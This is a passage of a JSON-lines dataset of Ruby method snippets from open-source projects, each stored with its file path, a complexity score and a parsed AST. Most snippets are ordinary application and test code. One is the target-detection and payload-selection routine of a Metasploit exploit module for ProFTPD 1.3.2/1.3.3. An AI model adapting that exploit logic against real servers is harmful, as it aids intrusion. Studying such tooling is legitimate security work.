'{\"id\":6}', '\"name\":\"Mary\"', '\"posts\":[', '{\"id\":7}', '{\"id\":9}'].each do |fragment|\n assert_includes json, fragment, json\n end\n end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_allow_includes_for_list_of_authors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authors\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},{\"type\":\"ivar\",\"children\":[\"@mary\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"authors\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"name\\\":\\\"David\\\"\"]},{\"type\":\"str\",\"children\":[\"\\\"posts\\\":[\"]},{\"type\":\"str\",\"children\":[\"{\\\"id\\\":1}\"]},{\"type\":\"str\",\"children\":[\"{\\\"id\\\":2}\"]},{\"type\":\"str\",\"children\":[\"{\\\"id\\\":4}\"]},{\"type\":\"str\",\"children\":[\"{\\\"id\\\":5}\"]},{\"type\":\"str\",\"children\":[\"{\\\"id\\\":6}\"]},{\"type\":\"str\",\"children\":[\"\\\"name\\\":\\\"Mary\\\"\"]},{\"type\":\"str\",\"children\":[\"\\\"posts\\\":[\"]},{\"type\":\"str\",\"children\":[\"{\\\"id\\\":7}\"]},{\"type\":\"str\",\"children\":[\"{\\\"id\\\":9}\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fragment\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"fragment\"]},{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]}]}","id":"b9ba4268-5e52-48be-b1f7-87e535a7b45c"} {"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage/google_cloud_storage.rb","start_line":174,"raw_source":"def human_readable_description\n \"Google Cloud Bucket [#{self.google_cloud_project_id}/#{self.bucket_name}]\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"human_readable_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Google Cloud Bucket [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"google_cloud_project_id\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bucket_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}","id":"9d067c3e-10a4-4cf0-ad1c-e824b0ef79df"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request.rb","start_line":349,"raw_source":"def self.workflow_class\n @workflow_class ||= name.underscore.chomp(\"_template\").gsub(/_request$/, \"_workflow\").camelize.constantize rescue nil\n end","complexity_score":11.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"workflow_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@workflow_class\"]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"underscore\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"_template\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_request$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_workflow\"]}]},\"camelize\"]},\"constantize\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}","id":"78dce607-db06-4192-a8d1-94b9ecc87dc8"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/settings.rb","start_line":46,"raw_source":"def render_cost_types_settings\n render_widget Widget::Settings::Fieldset, @subject, type: \"units\" do\n render_widget Widget::CostTypes,\n @cost_types,\n selected_type_id: @selected_type_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render_cost_types_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Widget\"]},\"Settings\"]},\"Fieldset\"]},{\"type\":\"ivar\",\"children\":[\"@subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"units\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_widget\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Widget\"]},\"CostTypes\"]},{\"type\":\"ivar\",\"children\":[\"@cost_types\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected_type_id\"]},{\"type\":\"ivar\",\"children\":[\"@selected_type_id\"]}]}]}]}]}]}","id":"f6427e45-67ba-4362-b7d6-d8a4caa8d22f"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_snmp.rb","start_line":96,"raw_source":"def self.enterprise_oid\n @@enterprise_oid ||= SNMP::ObjectId.new(enterprise_oid_string)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enterprise_oid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@enterprise_oid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"ObjectId\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"enterprise_oid_string\"]}]}]}]}","id":"b141a3dc-4fdb-4e33-b53a-35b916fcb56b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/artifactable.rb","start_line":42,"raw_source":"def each_blob(&blk)\n unless file_format_adapter_class\n raise NotSupportedAdapterError, 'This file format requires a dedicated adapter'\n end\n\n ::Gitlab::Ci::Artifacts::DecompressedArtifactSizeValidator\n .new(file: file, file_format: file_format.to_sym, max_bytes: max_size_for_file_type).validate!\n\n log_artifacts_filesize(file.model)\n\n file.open do |stream|\n file_format_adapter_class.new(stream).each_blob(&blk)\n end\n end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"each_blob\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_format_adapter_class\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotSupportedAdapterError\"]},{\"type\":\"str\",\"children\":[\"This file format requires a dedicated adapter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Artifacts\"]},\"DecompressedArtifactSizeValidator\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[null,\"file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_format\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_bytes\"]},{\"type\":\"send\",\"children\":[null,\"max_size_for_file_type\"]}]}]}]},\"validate!\"]},{\"type\":\"send\",\"children\":[null,\"log_artifacts_filesize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"model\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"open\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_format_adapter_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]},\"each_blob\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]}]}","id":"bd1862f6-061e-4f4f-b1d0-8b1013744bb2"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/oauth_clients_controller.rb","start_line":129,"raw_source":"def clear_oauth_state_cookie\n cookies.delete(\"oauth_state_#{@oauth_state}\") unless @oauth_state.nil?\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_oauth_state_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oauth_state\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"oauth_state_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oauth_state\"]}]}]}]}]}]}","id":"21261f2c-1748-4c5c-b1db-15f0bcffe2fd"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":172,"raw_source":"def test_travel_to_a_date\n with_env_tz do\n Time.use_zone(\"Hawaii\") do\n date = Date.new(2014, 2, 18)\n time = date.midnight\n\n travel_to date do\n assert_equal date, Date.current\n assert_equal time, Time.current\n end\n end\n end\n end","complexity_score":19.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_travel_to_a_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"use_zone\",{\"type\":\"str\",\"children\":[\"Hawaii\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[18]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"midnight\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}]}]}","id":"5200d0ea-ad8d-4b4d-a720-624ff849e8cc"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/api/v3/cost_entries/entity_representer_factory.rb","start_line":53,"raw_source":"def representer_type(model)\n case model\n when WorkPackage then :work_package\n # when Meeting then :meeting\n else\n raise ArgumentError, \"Missing concrete entity representer for #{model}\"\n end\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"representer_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},{\"type\":\"sym\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing concrete entity representer for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}]}]}","id":"626121a8-63fe-4679-9d17-62cf25fa7045"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/command/ctl.rb","start_line":84,"raw_source":"def usage(msg = nil)\n puts help_text\n if msg\n puts\n puts \"Error: #{msg}\"\n end\n exit 1\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"usage\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"help_text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"f1b770ea-9702-41e9-9e34-0e8123cd84e7"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/news_activity_provider.rb","start_line":56,"raw_source":"def event_url(event)\n url_helpers.news_url(url_helper_parameter(event))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"event_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"news_url\",{\"type\":\"send\",\"children\":[null,\"url_helper_parameter\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"66cd9d81-3131-4805-8fb0-c981ff06f22d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/admin/settings/component/ip_limits.rb","start_line":18,"raw_source":"def set_authenticated_api_request_limit_per_user(limit)\n find_element('throttle-authenticated-api-requests-per-user').set('')\n fill_element 'throttle-authenticated-api-requests-per-user', limit\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_authenticated_api_request_limit_per_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"throttle-authenticated-api-requests-per-user\"]}]},\"set\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_element\",{\"type\":\"str\",\"children\":[\"throttle-authenticated-api-requests-per-user\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}","id":"c47d1623-5b46-49de-8dd7-1f1c0af209cb"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment.rb","start_line":260,"raw_source":"def set_amount\n self.amount = order.total - order.payment_total\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_amount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"amount=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"total\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"payment_total\"]}]}]}]}","id":"9ccff557-4e94-46c9-adf8-6b5602fd9822"} {"repo_name":"forem","file_path":"./repos/forem/app/services/ai/community_copy.rb","start_line":144,"raw_source":"def build_description_prompt(comparable_descriptions)\n locale_instruction = get_locale_instruction\n \n <<~PROMPT\n Generate a community description for the subforem with domain #{@subforem.domain} based on the following brain dump: #{@brain_dump}\n\n Use the following examples as a reference:\n #{comparable_descriptions.join(', ')}\n\n #{locale_instruction}\n\n IMPORTANT RULES:\n - Return ONLY the community description text\n - Do not include any introductory text, explanations, or meta-commentary\n - Do not say things like \"Here is the description:\" or \"I have generated...\"\n - Keep it concise but informative (50-200 characters)\n - Make it engaging and community-focused\n - Write in a professional but friendly tone\n\n Provide ONLY the description text:\n PROMPT\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_description_prompt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comparable_descriptions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale_instruction\",{\"type\":\"send\",\"children\":[null,\"get_locale_instruction\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generate a community description for the subforem with domain \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subforem\"]},\"domain\"]}]},{\"type\":\"str\",\"children\":[\" based on the following brain dump: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@brain_dump\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Use the following examples as a reference:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comparable_descriptions\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_instruction\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"IMPORTANT RULES:\\n\"]},{\"type\":\"str\",\"children\":[\"- Return ONLY the community description text\\n\"]},{\"type\":\"str\",\"children\":[\"- Do not include any introductory text, explanations, or meta-commentary\\n\"]},{\"type\":\"str\",\"children\":[\"- Do not say things like \\\"Here is the description:\\\" or \\\"I have generated...\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"- Keep it concise but informative (50-200 characters)\\n\"]},{\"type\":\"str\",\"children\":[\"- Make it engaging and community-focused\\n\"]},{\"type\":\"str\",\"children\":[\"- Write in a professional but friendly tone\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Provide ONLY the description text:\\n\"]}]}]}]}","id":"3ec8139b-356b-4d9e-84d3-d8d728b5b71e"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/thread_list.rb","start_line":13,"raw_source":"def has_loaded?\n component.has_css?(\".spinner\", wait: 0)\n component.has_no_css?(\".spinner\")\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_loaded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".spinner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\".spinner\"]}]}]}]}","id":"f0d5b0ac-83dd-421d-8a97-48c9a2677a40"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_console.rb","start_line":68,"raw_source":"def rpc_destroy(cid)\n cid = cid.to_s\n return { 'result' => 'failure' } if not @console_driver.consoles[cid]\n res = @console_driver.destroy_console(cid)\n { 'result' => res ? 'success' : 'failure' }\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_destroy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cid\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@console_driver\"]},\"consoles\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"cid\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"failure\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@console_driver\"]},\"destroy_console\",{\"type\":\"lvar\",\"children\":[\"cid\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"str\",\"children\":[\"success\"]},{\"type\":\"str\",\"children\":[\"failure\"]}]}]}]}]}]}","id":"d059e0a5-f5f0-4bd8-b45d-515d4f2a05b5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/component.rb","start_line":12,"raw_source":"def initialize(params, context)\n @location = params[:component]\n\n super\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@location\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"component\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"2bae9bec-af10-4af1-9cff-ae25317c2daa"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/post_status_service.rb","start_line":199,"raw_source":"def scheduled_in_the_past?\n @scheduled_at.present? && @scheduled_at <= Time.now.utc\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"scheduled_in_the_past?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scheduled_at\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scheduled_at\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}]}","id":"c88031c2-3d22-48cc-b213-1d5dee864b40"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning_migration_helpers/index_helpers.rb","start_line":250,"raw_source":"def find_partitioned_table(table_name)\n partitioned_table = Gitlab::Database::PostgresPartitionedTable.find_by_name_in_current_schema(table_name)\n\n raise ArgumentError, \"#{table_name} is not a partitioned table\" unless partitioned_table\n\n partitioned_table\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"find_partitioned_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partitioned_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"find_by_name_in_current_schema\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partitioned_table\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" is not a partitioned table\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"partitioned_table\"]}]}]}","id":"894bdb4a-ddcd-453a-a815-02d3d12aaf9b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb","start_line":145,"raw_source":"def exploit\n connect\n\n # Use a copy of the target\n @mytarget = target\n\n if target['auto']\n @mytarget = nil\n\n print_status('Automatically detecting the target...')\n if banner && (m = banner.match(/ProFTPD (1\\.3\\.[23][^ ]) Server/i))\n print_status(\"FTP Banner: #{banner.strip}\")\n version = m[1]\n else\n fail_with(Failure::NoTarget, 'No matching target')\n end\n\n regexp = Regexp.escape(version)\n targets.each do |t|\n if (t.name =~ /#{regexp}/)\n @mytarget = t\n break\n end\n end\n\n if !@mytarget\n fail_with(Failure::NoTarget, 'No matching target')\n end\n\n print_status(\"Selected Target: #{@mytarget.name}\")\n\n pl = exploit_regenerate_payload(@mytarget.platform, arch)\n if !pl\n fail_with(Failure::Unknown, 'Unable to regenerate payload!')\n end\n else\n print_status(\"Trying target #{@mytarget.name}...\")\n if banner\n print_status(\"FTP Banner: #{banner.strip}\")\n end\n\n payload\n end\n disconnect\n\n super\n end","complexity_score":62.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"ivasgn\",\"children\":[\"@mytarget\",{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"auto\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mytarget\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Automatically detecting the target...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ProFTPD (1\\\\.3\\\\.[23][^ ]) Server\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FTP Banner: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"strip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"No matching 